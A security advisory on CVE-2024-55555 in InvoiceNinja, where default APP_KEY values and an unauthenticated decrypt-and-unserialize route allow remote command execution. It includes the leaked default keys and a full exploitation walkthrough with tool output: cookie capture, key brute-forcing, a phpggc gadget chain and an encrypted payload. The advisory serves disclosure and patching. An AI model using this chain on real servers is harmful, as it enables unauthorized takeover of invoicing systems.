InvoiceNinja - Unauthenticated Remote Command Execution when APP_KEY known
13/12/2024 - Téléchargement
Product
InvoiceNinja
Severity
High
Fixed Version(s)
5.10.11
Affected Version(s)
≥ 5.8.22 ≤ 5.10.10
CVE Number
CVE-2024-55555
Authors
Description
Presentation
InvoiceNinja is a free invoicing software for small businesses, based on the PHP framework Laravel.
Issue(s)
Synacktiv identified two issues on InvoiceNinja:
- The
/route/<hash>
route accepts a Laravel ciphered value which is then unserialized, leading to remote code execution if an attacker gets access to theAPP_KEY
. - The usage of a default
APP_KEY
value on several.env
files from the main repository can put users at risk regarding the previous issue.
When both vulnerabilities are met on an InvoiceNinja instance, an unauthenticated attacker could compromise it.
Timeline
Date | Description |
---|---|
2024.07.18 | Advisory sent to contact@invoiceninja.com |
2024.07.19 | Invoiceninja silently patched the vulnerability |
2024.09.18 | New mail sent to contact@invoiceninja.com, since no feedback on the patch in place was communicated |
2024.12.08 | CVE-2024-55555 assigned |
2024.12.13 | Public release |
Technical details
Usage of a default APP_KEY value on .env templates on GitHub
Description
Several .env
templates from the InvoiceNinja repository contain default values for the APP_KEY
environment variable.
$ git clone https://github.com/invoiceninja/invoiceninja
$ grep APP_KEY invoiceninja/.env*
invoiceninja/.env.ci:APP_KEY=
invoiceninja/.env.dusk.example:APP_KEY=s7epnjtomsdond5zgfqgaqmwhhcjct02
invoiceninja/.env.example:APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
invoiceninja/.env.travis:APP_KEY=SomeRandomStringSomeRandomString
Impact
While the documentation mentions the php artisan key:generate
command to generate a unique APP_KEY
, developers may still use the default .env
templates and put their instance at risk. As described in the next vulnerability, this parameter could allow unauthenticated users to execute remote commands on the affected servers.
Recommendation
Regenerate a new APP_KEY
if you do use the default configuration of the application, the command php artisan key:generate
can be used to do so.
Arbitrary unserialization via decrypt
Description
The route/{hash}
route defined in the invoiceninja/routes/client.php
file can be accessed without authentication. (link to the commit introducing the vulnerability here)
<?php
[...]
Route::get('route/{hash}', function ($hash) {
$route = '/';
try {
$route = decrypt($hash);
}
catch (\Exception $e) {
abort(404);
}
return redirect($route);
})->middleware('throttle:404');
This method decrypts user-controlled data from which the application will try to extract a route and use it as a redirection. However, when called from a Laravel environment, the decrypt()
function will be the one from Illuminate\Encryption
(source):
namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
In this implementation, a call to unserialize()
is performed by default by the application if the input data is successfully decrypted. This decryption is performed by using the value of the secret key stored in the APP_KEY
environment variable.
Impact
An attacker in possession of the APP_KEY
is able to fully control a string passed to an unserialize
function.
The XSRF-TOKEN
cookie is delivered to any unauthenticated user navigating to the /login
endpoint on an InvoiceNinja instance:
$ curl -I http://in5.localhost/login
HTTP/1.1 200 OK
X-Powered-By: PHP/8.2.26
[...]
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImxyekJ1UDlubXVGMUMrN0xQdzZjRVE9PSIsInZhbHVlIjoiYm16di9YdlhlWWhtY1oxY2g2b2pFVGxjWUlsMUx2WldlaWZBTyt1QVZoZ214UXVQSUVXbG1uaTh5MktVWndlR3psMVNQTy9PWVphSU5oRXNJck1nUURWbnlRZTdYS1d2amUyQ1lXTmtoVkg2aCtTWWt4NERJUzlKMnk4bEhXYTAiLCJtYWMiOiIxOGI0NTg3NGY0MjY5ZjhiNGE4YzhlZjRhZDkxYTFlYTBkMzQwNDIyN2YxZjExNTlhMjgwYTI5OTJmNDQ1NTRmIiwidGFnIjoiIn0%3D; expires=Thu, 12 Dec 2024 15:08:21 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6ImFhdVJ6TUZjMGFndlJOMkdjcCtHUEE9PSIsInZhbHVlIjoiYkV3aFkzNFFkbFNpVGJCR1lDbzhuKzhZK0tWYUFkNDBjbHFucm5NeWZNQjFHbEE5Z1NpOUJ1SnRydm1IUDFhajY1K0cvVXh6eUFueTM5QTBScnlXWXBGRjhiWmpqcnA5UkV6OFpXNmVHTzZBaWFsaGhQMW1WNXkrRzhMTzZENm8iLCJtYWMiOiIwYWQ3MDEwOTIwNmJiZDNmZWY0NTZlZDgwMzEzNmNjMzMyNDkwNTIwZmViNDQ5NDNkN2UzZjcxOWI4ODFkMDU3IiwidGFnIjoiIn0%3D; expires=Thu, 12 Dec 2024 15:08:21 GMT; Max-Age=7200; path=/; httponly; samesite=lax
As shown on the previous vulnerability, a default APP_KEY
can be defined if the developers copied the default .env.example
file provided by InvoiceNinja.
In order to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. In the following example, the bruteforce
option was used in order to try several default known APP_KEYs
such as the ones from InvoiceNinja:
$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6ImxyekJ1UDlubXVGMUMrN0xQdzZjRVE9PSIsInZhbHVlIjoiYm16di9YdlhlWWhtY1oxY2g2b2pFVGxjWUlsMUx2WldlaWZBTyt1QVZoZ214UXVQSUVXbG1uaTh5MktVWndlR3psMVNQTy9PWVphSU5oRXNJck1nUURWbnlRZTdYS1d2amUyQ1lXTmtoVkg2aCtTWWt4NERJUzlKMnk4bEhXYTAiLCJtYWMiOiIxOGI0NTg3NGY0MjY5ZjhiNGE4YzhlZjRhZDkxYTFlYTBkMzQwNDIyN2YxZjExNTlhMjgwYTI5OTJmNDQ1NTRmIiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6ImxyekJ1UDlubXVGMUMrN0xQdzZjRVE9PSIsInZhbHVlIjoiYm16di9YdlhlWWhtY1oxY2g2b2pFVGxjWUlsMUx2WldlaWZBTyt1QVZoZ214UXVQSUVXbG1uaTh5MktVWndlR3psMVNQTy9PWVphSU5oRXNJck1nUURWbnlRZTdYS1d2amUyQ1lXTmtoVkg2aCtTWWt4NERJUzlKMnk4bEhXYTAiLCJtYWMiOiIxOGI0NTg3NGY0MjY5ZjhiNGE4YzhlZjRhZDkxYTFlYTBkMzQwNDIyN2YxZjExNTlhMjgwYTI5OTJmNDQ1NTRmIiwidGFnIjoiIn0%3D
Key : base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
[*] Unciphered value
e60eab8287b88f834312505e582750ae6f95a84b|XmzARHf1WC9lBPtY8xfIuDK5XMOyleTTUzsfQtG6
100%|███████████████████████████████████| 1/1 [00:00<00:00, 41.95it/s]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json
To generate a serialization payload designed to run the bash command id
on a Laravel based server the tool phpggc was used.
$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==
Finally, to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be once more. The chain generated from phpggc can be encrypted again in order to get remote command execution on the affected server, without prior access:
$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=
The following video sums up the exploitation process:
Recommendation
Upgrade InvoiceNinja to version 5.10.11 or greater.